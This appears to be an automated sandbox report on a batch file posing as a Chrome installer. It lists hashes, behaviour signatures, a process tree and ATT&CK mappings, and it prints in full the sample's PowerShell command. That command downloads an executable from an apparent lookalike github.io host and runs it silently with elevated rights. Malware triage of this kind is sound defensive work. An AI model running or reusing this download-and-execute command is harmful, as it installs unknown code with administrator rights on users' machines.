9235d2676794ff9cc054258ec08e894647ed0112a94f078c9b901d8f1aa049ce

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
08/09/2024, 12:02

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General

Target

Files/Apps/chrome.bat
Size

545B
MD5

764f5846cdf195f465ca8c4e9fdd0875
SHA1

6344062077c919850aec7f86e0350cb2b663dd18
SHA256

fca1ea11d5fdb18df21be4b007ce750e271f442845d9dfe772b01837b218f289
SHA512

0925c46fe7ae006b84cefc102cbd424abe0cd609d04673f68ef469397073ddda8a1eaaf79b3646487874eb5122f9496fe03588917f144429e8dabdce55215c8d

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2252	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2252	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2252	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1296 wrote to memory of 2972	1296	cmd.exe	31
PID 1296 wrote to memory of 2972	1296	cmd.exe	31
PID 1296 wrote to memory of 2972	1296	cmd.exe	31
PID 2972 wrote to memory of 2412	2972	cmd.exe	32
PID 2972 wrote to memory of 2412	2972	cmd.exe	32
PID 2972 wrote to memory of 2412	2972	cmd.exe	32
PID 1296 wrote to memory of 2336	1296	cmd.exe	33
PID 1296 wrote to memory of 2336	1296	cmd.exe	33
PID 1296 wrote to memory of 2336	1296	cmd.exe	33
PID 1296 wrote to memory of 1924	1296	cmd.exe	34
PID 1296 wrote to memory of 1924	1296	cmd.exe	34
PID 1296 wrote to memory of 1924	1296	cmd.exe	34
PID 1296 wrote to memory of 2252	1296	cmd.exe	35
PID 1296 wrote to memory of 2252	1296	cmd.exe	35
PID 1296 wrote to memory of 2252	1296	cmd.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Files\Apps\chrome.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c chcp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\system32\chcp.com
    chcp
    3⤵
    PID:2412
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2336
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:1924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& { $Path = $env:TEMP; $Installer = 'chrome_installer.exe'; Invoke-WebRequest 'https://schooicodes.github.io/file_hosting/ChromeSetup.exe' -OutFile $Path\$Installer; Start-Process -FilePath $Path\$Installer -ArgumentList '/silent', '/install' -Verb RunAs -Wait; Remove-Item $Path\$Installer }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2252-4-0x000007FEF591E000-0x000007FEF591F000-memory.dmp

Filesize
4KB

Download
memory/2252-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2252-6-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/2252-11-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

Filesize
9.6MB

Download
memory/2252-10-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

Filesize
9.6MB

Download
memory/2252-9-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

Filesize
9.6MB

Download
memory/2252-8-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

Filesize
9.6MB

Download
memory/2252-7-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

Filesize
9.6MB

Download
memory/2252-12-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

Filesize
9.6MB

Download